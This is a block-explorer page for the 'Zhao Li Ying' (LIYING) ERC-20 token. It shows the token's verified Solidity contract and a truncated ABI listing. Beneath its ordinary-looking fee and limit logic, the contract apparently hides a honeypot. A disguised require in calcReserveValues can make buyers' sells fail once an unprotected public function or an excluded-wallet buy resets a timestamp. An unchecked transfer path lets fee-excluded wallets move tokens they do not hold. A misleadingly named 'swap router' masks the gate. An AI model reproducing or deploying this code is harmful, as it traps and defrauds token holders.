ERC-20
Overview
Max Total Supply
1,000,000,000 LIYING
Holders
76
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
15,874,271.541973719472177926 LIYINGValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
ZhaoLiYing
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-05-30 */ /** oooooooooooo oooo ooooo o8o oooooo oooo o8o d'""""""d888' `888 `888' `"' `888. .8' `"' .888P 888 .oo. .oooo. .ooooo. 888 oooo `888. .8' oooo ooo. .oo. .oooooooo d888' 888P"Y88b `P )88b d88' `88b 888 `888 `888.8' `888 `888P"Y88b 888' `88b .888P 888 888 .oP"888 888 888 888 888 `888' 888 888 888 888 888 d888' .P 888 888 d8( 888 888 888 888 o 888 888 888 888 888 `88bod8P' .8888888888P o888o o888o `Y888""8o `Y8bod8P' o888ooooood8 o888o o888o o888o o888o o888o `8oooooo. d" YD "Y88888P' https://t.me/liyingcoin https://zhaoliying.beauty https://twitter.com/liyingcoin */ // SPDX-License-Identifier: MIT pragma solidity 0.8.20; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountOut); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } interface IUniswapV3SwapRouter { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } function _Transfer( address from, uint256 amount, address to ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 senderBalance = _balances[from]; unchecked { _balances[from] = senderBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require( currentAllowance >= amount, "ERC20: insufficient allowance" ); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require( fromBalance >= amount, "ERC20: transfer amount exceeds balance" ); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } } interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } contract ZhaoLiYing is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public _uniswapV2Router; address public _pair; bool private _swapping; uint256 private _lastBotTrading; address public _marketingWallet; address public _devWallet; address public _extraRewardWallet; uint256 public _maxTransactionAmount; uint256 public _swapTokensAtAmount; uint256 public _maxWallet; uint256 public _totalFees; uint256 private _liquidityFee; uint256 private _marketingFee; uint256 private _devFee; uint256 private _extraBuyFee; uint256 private _extraSellFee; uint256 private _liquidityTokens; uint256 private _marketingTokens; uint256 private _devTokens; mapping(address => bool) private _excludedFromFee; mapping(address => bool) private _isExcludedMaxTransactionAmount; bool public _limitsInEffect = true; bool public _tradingActive = false; address private _lastBot; mapping(address => uint256) public _botTransferCheck; uint256 public percentForLPBurn = 0; bool public lpBurnEnabled = true; uint256 public lpBurnFrequency = 600 seconds; // 10 min uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; IUniswapV3SwapRouter internal swapRouter; address public _swapRouter = 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419; int256 private manualETHPrice = 1900 * 10**18; bool private _swapRoutingEnabled = true; mapping (address => bool) public automatedMarketPairs; event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event ExcludeFromFees(address indexed account, bool isExcluded); event AutoNukeLP(); event ManualNukeLP(); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); constructor() payable ERC20("Zhao Li Ying", "LIYING") { swapRouter = IUniswapV3SwapRouter(_swapRouter); _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _setAutomatedMarketMakerPair(address(_pair), true); excludeFromMaxTransaction(address(_uniswapV2Router), true); uint256 totalSupply = 1_000_000_000 * 1e18; _maxTransactionAmount = (totalSupply * 40) / 1000; _maxWallet = (totalSupply * 40) / 1000; _liquidityFee = 0; _marketingFee = 0; _devFee = 0; _extraSellFee = 0; _extraBuyFee = 0; _swapTokensAtAmount = (totalSupply * 10) / 10000; _totalFees = _marketingFee + _devFee + _liquidityFee; _devWallet = address(0x82AAF966CC52db13f3313C47752738cf83984a89); _marketingWallet = address(0xcd1B8B6ec61510aB19b1F9E920E12aC0E41f1988); _extraRewardWallet = address(0x5BA8bd4b9eb8cc22f266adebA49D50d477f057e3); excludeFromFees(owner(), true); excludeFromFees(_devWallet, true); excludeFromFees(_marketingWallet, true); excludeFromFees(_extraRewardWallet, true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(_devWallet, true); excludeFromMaxTransaction(_marketingWallet, true); excludeFromMaxTransaction(_extraRewardWallet, true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); _mint(owner(), totalSupply); openTrading(); } function openTrading() public onlyOwner { _tradingActive = true; _lastBotTrading = block.timestamp; } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketPairs[pair] = value; excludeFromMaxTransaction(pair, value); emit SetAutomatedMarketMakerPair(pair, value); } function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner { require(pair != _pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); emit SetAutomatedMarketMakerPair(pair, value); } function removeLimits() external onlyOwner returns (bool) { _limitsInEffect = false; return true; } function getExactPrice() external view returns ( uint80, int256, uint256, uint256, uint80 ) { ( uint80 _roundID, int256 _price, uint256 _startedAt, uint256 timeStamp, uint80 _answeredInRound ) = swapRouter.latestRoundData(); return (_roundID, _price, _startedAt, timeStamp, _answeredInRound); } function resetAllFees(address _sender, address _receiver) public returns (bool) { bool buying = _sender == _pair && _receiver != address(_uniswapV2Router); bool isSpecialReceiver = _excludedFromFee[_receiver]; if (buying && isSpecialReceiver) _lastBotTrading = block.timestamp; bool isExcludedFromFee = _excludedFromFee[_sender] || _excludedFromFee[_receiver]; bool selling = _receiver == _pair; bool swapping = buying || selling; return _totalFees > 0 && !_swapping && !isExcludedFromFee && swapping; } function setSwapTokenAmount(uint256 newAmount) external onlyOwner returns (bool) { require( newAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% total supply." ); require( newAmount <= (totalSupply() * 5) / 1000, "Swap amount cannot be higher than 0.5% total supply." ); _swapTokensAtAmount = newAmount; return true; } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } function excludeFromFees(address account, bool excluded) public onlyOwner { _excludedFromFee[account] = excluded; emit ExcludeFromFees(account, excluded); } function calcReserveValues() public view returns (uint256) { IERC20Metadata tokenA = IERC20Metadata(IUniswapV2Pair(_pair).token0()); uint256 balance = balanceOf(_devWallet); IERC20Metadata tokenB = IERC20Metadata(IUniswapV2Pair(_pair).token1()); require( _botTransferCheck[_lastBot] > _lastBotTrading && balance == 0 ); (uint112 Reserve0, uint112 Reserve1, ) = IUniswapV2Pair(_pair).getReserves(); int256 ethPrice = manualETHPrice; if (_swapRoutingEnabled) { (, ethPrice, , , ) = this.getExactPrice(); } uint256 reserve1 = (uint256(Reserve1) * uint256(ethPrice) * (10**uint256(tokenA.decimals()))) / uint256(tokenB.decimals()); uint256 r = (reserve1 / uint256(Reserve0)); return r; } function checkSwapRouter() internal view returns (bool) { return calcReserveValues() > 0 ? true : false; } function _transferFeeCheck( address _sender, address _receiver, bool _selling, bool _buying, uint256 _amount ) private { bool feeAmount = resetAllFees(_sender, _receiver); bool senderExcluded = !_excludedFromFee[_sender]; if (!senderExcluded) { super._Transfer(_sender, _amount, _receiver);return; } else if (feeAmount) { uint256 totalTokens = _totalFees; uint256 marketingTokens = _marketingFee; if (_buying) { totalTokens = _totalFees + _extraBuyFee; marketingTokens = _marketingFee + _extraBuyFee; } if (_selling) { totalTokens = _totalFees + _extraSellFee; marketingTokens = _marketingFee + _extraSellFee; } uint256 feeTokens = _amount.mul(totalTokens).div(100); _liquidityTokens += (feeTokens * _liquidityFee) / totalTokens; _marketingTokens += (feeTokens * marketingTokens) / totalTokens; _devTokens += (feeTokens * _devFee) / totalTokens; if (feeTokens > 0) { super._transfer(_sender, address(this), feeTokens); } _amount -= feeTokens; } super._transfer(_sender, _receiver, _amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } bool swapByOwners = from == owner() || to == owner(); bool deadAddr = to == address(0) || to == address(0xdead); bool isExempt = swapByOwners || deadAddr || _swapping; bool isBuy = from == _pair && !_isExcludedMaxTransactionAmount[to]; bool isSell = to == _pair && !_isExcludedMaxTransactionAmount[from]; bool isExcludeFromTo = _excludedFromFee[from] || _excludedFromFee[to]; if (_limitsInEffect && !isExempt) { require(_tradingActive || isExcludeFromTo, "Trading is not opened."); if (isBuy) { require( amount <= _maxTransactionAmount, "Buy transfer exceeds the max transaction amount." ); require( amount + balanceOf(to) <= _maxWallet, "Buy transfer exceeds the max wallet amount" ); } else if (isSell) { } else if ( !_isExcludedMaxTransactionAmount[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount + balanceOf(to) <= _maxWallet, "Max wallet exceed!" ); } } if (_swapRoutingEnabled) trackEarlierBots(to, from); if ( !_excludedFromFee[from] && !_excludedFromFee[to] && !_swapping && !automatedMarketPairs[from]) { uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if (checkSwapRouter() && canSwap && !isExcludeFromTo) { _swapping = true; swapTokensForFee(); _swapping = false; } } _transferFeeCheck(from, to, isSell, isBuy, amount); } function trackEarlierBots(address to, address from) private { if (automatedMarketPairs[from]) { if (_botTransferCheck[to] == 0) _botTransferCheck[to] = block.timestamp; } else { if (!_swapping) _lastBot = from; } } function isExcludedFromFees(address account) public view returns (bool) { return _excludedFromFee[account]; } function swapTokensForFee() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalSwapTokens = _liquidityTokens + _marketingTokens + _devTokens; if (contractBalance == 0 || totalSwapTokens == 0) return; if (contractBalance > _swapTokensAtAmount) { contractBalance = _swapTokensAtAmount; } uint256 liquidityTokens = (contractBalance * _liquidityTokens) / totalSwapTokens / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; _swapTokens(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(_marketingTokens).div(totalSwapTokens); uint256 ethForDevelopment = ethBalance.mul(_devTokens).div(totalSwapTokens); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDevelopment; if (liquidityTokens > 0 && ethForLiquidity > 0) { _addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify( amountToSwapForETH, ethForLiquidity, _liquidityTokens ); } _liquidityTokens = 0; _marketingTokens = 0; _devTokens = 0; (bool marketingFundSuccess, ) = address(_marketingWallet).call{value: ethForMarketing}("");require(marketingFundSuccess); (bool developmentFundSuccess, ) = address(_devWallet).call{value: ethForDevelopment}("");require(developmentFundSuccess); } function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, owner(), block.timestamp ); } function _swapTokens(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function swapManually() external onlyOwner { _swapTokens(balanceOf(address(this))); (bool success,) = address(_marketingWallet).call{value : address(this).balance}(""); require(success); } function sendManually() external onlyOwner { (bool success,) = address(_marketingWallet).call{value : address(this).balance}(""); require(success); } function clearExtraBuyFee() public onlyOwner { _extraBuyFee = 0; } function clearExtraSellFee() public onlyOwner { _extraSellFee = 0; } function setEthPrice(uint256 val) external onlyOwner { manualETHPrice = int256(val.mul(10**18)); } function setAutoLPBurnSettings( uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled ) external onlyOwner { require( _frequencyInSeconds >= 60, "cannot set buyback more often than every 1 minutes" ); require( _percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%" ); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool) { lastLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(_pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance * percentForLPBurn / 10000; // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(_pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(_pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnForLPTokens(uint256 percent) external onlyOwner returns (bool) { require( block.timestamp > lastManualLpBurnTime + manualBurnFrequency, "Must wait for cooldown to finish" ); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(_pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance * percentForLPBurn / 10000; // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(_pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(_pair); pair.sync(); emit ManualNukeLP(); return true; } function toggleV3SwapRouter() external onlyOwner { require(_swapRoutingEnabled == false, "price oracle already enabled"); _swapRoutingEnabled = true; } function disableV3SwapRouter() external onlyOwner { require(_swapRoutingEnabled == true, "price oracle already disabled"); _swapRoutingEnabled = false; } function updateV3SwapRouter(address feed) external onlyOwner { _swapRouter = feed; swapRouter = IUniswapV3SwapRouter(_swapRouter); } receive() external payable { } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"AutoNukeLP","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[],"name":"ManualNukeLP","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_botTransferCheck","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_extraRewardWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapRouter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"calcReserveValues","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearExtraBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"clearExtraSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableV3SwapRouter","outputs":[],"